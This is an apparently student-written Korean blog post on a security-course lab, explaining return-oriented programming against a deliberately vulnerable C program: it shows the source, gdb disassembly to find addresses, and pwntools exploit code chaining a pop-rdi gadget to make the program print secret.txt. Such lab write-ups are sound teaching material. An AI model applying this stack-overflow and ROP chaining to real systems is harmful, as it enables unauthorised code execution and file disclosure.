Lab3-1

옹다·2024년 11월 16일

해킹및정보보안

목록 보기
8/8

이번 Lab3의 목표는 ROP를 사용하여 secret.txt를 읽는 것이다.


Pwntools에서 ROP()함수를 제공하므로, 우리는 gadget 정보를 얻을 수 있다.

또한, p64()와 u64()라는 새로운 개념이 나온다.
아래 코드를 보면 두 개념을 쉽게 이해할 수 있다.

from pwn import *

# 메모리 주소를 바이트로 패킹
payload = b"A" * 8 + p64(0xdeadbeefcafebabe)

# 패킹된 바이트를 다시 숫자로 복원
addr = u64(payload[8:16])
print(hex(addr))  # 0xdeadbeefcafebabe

본격적으로 Lab3-1를 시작하기 전에, 디버깅 사용법이 Lab2와 달라졌다.
이전 Lab2에서는 gdb를 직접 실행하고 거기서 프로그램을 시작했다.
Lab3는 프로그램을 먼저 실행한 뒤 gdb를 사용해 실행 중인 프로세스에 연결한다.
그래서 2개의 터미널 창과 pid가 필요하다.


자 그럼 이제 본격적으로 Lab3-1을 시작해보자 !


우리가 공격해야 할 소스코드 twice.c는 아래와 같다.

#include <stdio.h>
#include <unistd.h>

char global_buf[32];

/* Your goal is to execute this function with "secret.txt" as argument. */
void run_cat(char *filepath) {
  char *argv[3];
  argv[0] = "/bin/cat";
  argv[1] = filepath;
  argv[2] = NULL;
  execv(argv[0], argv);
}

void safe(void) {
  printf("Input your message in global buffer: ");
  read(0, global_buf, sizeof(global_buf));
}

void vuln(void) {
  char buf[20];
  printf("Input your message in stack buffer: ");
  read(0, buf, 64);
}

int main(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  safe();
  vuln();
  return 0;
}

ROP기법을 사용하여 run_cat함수의 첫번째 인자 %rdi에 secret.txt의 주소를 전해주는 것이 목표이다.
나에게 주어진 가젯은 Gadget(0x4012b3, ['pop rdi', 'ret'], ['rdi'], 0x8) 이다.
찬찬히 코드를 보니.. vuln함수의 buf에서 BOF가 발생한다.
그렇다면 buf를 이용해 vuln함수의 return address을 가젯 0x4012b3로 덮어쓰고, 그 다음 스택 공간(high 방향) %rdi에 secret.txt의 주소를 넣으면 된다. 그리고 바로 그 다음 스택 공간(high 방향)에 run_cat함수의 시작 주소를 넣으면 !! run_cat(*secret.txt)가 실행된다!

자 그렇다면 secret.txt의 주소는 어떻게 알 수 있을까?
이것이 바로 이 문제의 핵심이다!
바로 safe함수를 이용하는 것이다.
safe함수는 표준 입력을 전역변수 global_buf에 저장한다.
전역변수는 메모리 공간에서 stack이 아니라 data에 저장된다.
secret.txt을 입력으로 주면 global_buf에 secret.txt이 저장되고, %rdi에 global_buf의 주소를 주면 된다!!

global_buf의 주소를 알아내기 위해 safe함수를 disassemble한다.

(gdb) disas safe
Dump of assembler code for function safe:
   0x0000000000401196 <+0>:     sub    $0x8,%rsp
   0x000000000040119a <+4>:     mov    $0x402018,%edi
   0x000000000040119f <+9>:     mov    $0x0,%eax
   0x00000000004011a4 <+14>:    call   0x401030 <printf@plt>
   0x00000000004011a9 <+19>:    mov    $0x20,%edx
   0x00000000004011ae <+24>:    mov    $0x404080,%esi
   0x00000000004011b3 <+29>:    mov    $0x0,%edi
   0x00000000004011b8 <+34>:    call   0x401040 <read@plt>
   0x00000000004011bd <+39>:    nop
   0x00000000004011be <+40>:    add    $0x8,%rsp
   0x00000000004011c2 <+44>:    ret    
End of assembler dump.

global_buf의 주소는 0x404080인 것을 확인할 수 있다.

이제 vuln함수를 disassemble해서 BOF를 일으키기 위한 패딩 수를 알아보자.

(gdb) disas vuln 
Dump of assembler code for function vuln:
   0x00000000004011c3 <+0>:     sub    $0x28,%rsp
   0x00000000004011c7 <+4>:     mov    $0x402040,%edi
   0x00000000004011cc <+9>:     mov    $0x0,%eax
   0x00000000004011d1 <+14>:    call   0x401030 <printf@plt>
   0x00000000004011d6 <+19>:    mov    %rsp,%rax
   0x00000000004011d9 <+22>:    mov    $0x40,%edx
   0x00000000004011de <+27>:    mov    %rax,%rsi
   0x00000000004011e1 <+30>:    mov    $0x0,%edi
   0x00000000004011e6 <+35>:    call   0x401040 <read@plt>
   0x00000000004011eb <+40>:    nop
   0x00000000004011ec <+41>:    add    $0x28,%rsp
   0x00000000004011f0 <+45>:    ret    
End of assembler dump.

%rsp가 가리키는 공간에 buf가 저장되고, return address까지 5칸 = 총 40번 padding이 필요하다.
40번 padding 후 return address에 가젯 주소인 0x4012b3로 덮어쓰고, 바로 그 다음에 전에 구한 global_buf의 주소를 저장하면 된다.

자 이제 마지막으로 우리가 호출해야 할 함수 run_cat의 시작 주소를 알아내기 위해 run_cat를 disassemble 해보자.

(gdb) disas run_cat 
Dump of assembler code for function run_cat:
   0x0000000000401156 <+0>:     sub    $0x38,%rsp

run_cat의 시작 주소는 0x401156이다.

이제 다 알아냈으므로 exploit코드를 짜보자.

# 첫 번째 입력: global_buf에 "secret.txt" 설정
    # 가젯 %rdi에 secret.txt의 주소를 넣어야 한다! 
    #-> 그래서 안전한 전역변수 global_buf에 저장
    print(p.recvuntil(b"global buffer: "))
    p.sendline(b"secret.txt\0")
    # sendline은 암묵적으로 \n을 포함하기 때문에
    #'secret.txt'만을 전달하기 위해서는 \0을 추가해줘야 한다.

    # 두 번째 입력: vuln 함수로 페이로드 전송
    # A 40번(5 byte) + pop rdi 가젯 주소 
    #+ global_buf(secret.txt) 주소 + run_cat 함수 시작주소
    payload = b"A" * 40                  
    payload += p64(0x4012b3)              
    payload += p64(0x404080)   
    payload += p64(0x401156)            

    print(p.recvuntil(b"stack buffer: "))
    p.sendline(payload)

    # 결과 출력
    print(p.recvline())

주의: sendline()은 자동으로 맨 뒤에 \n을 추가해준다.

profile
많진 않아도 딱 내 것을 만드는 공정

0개의 댓글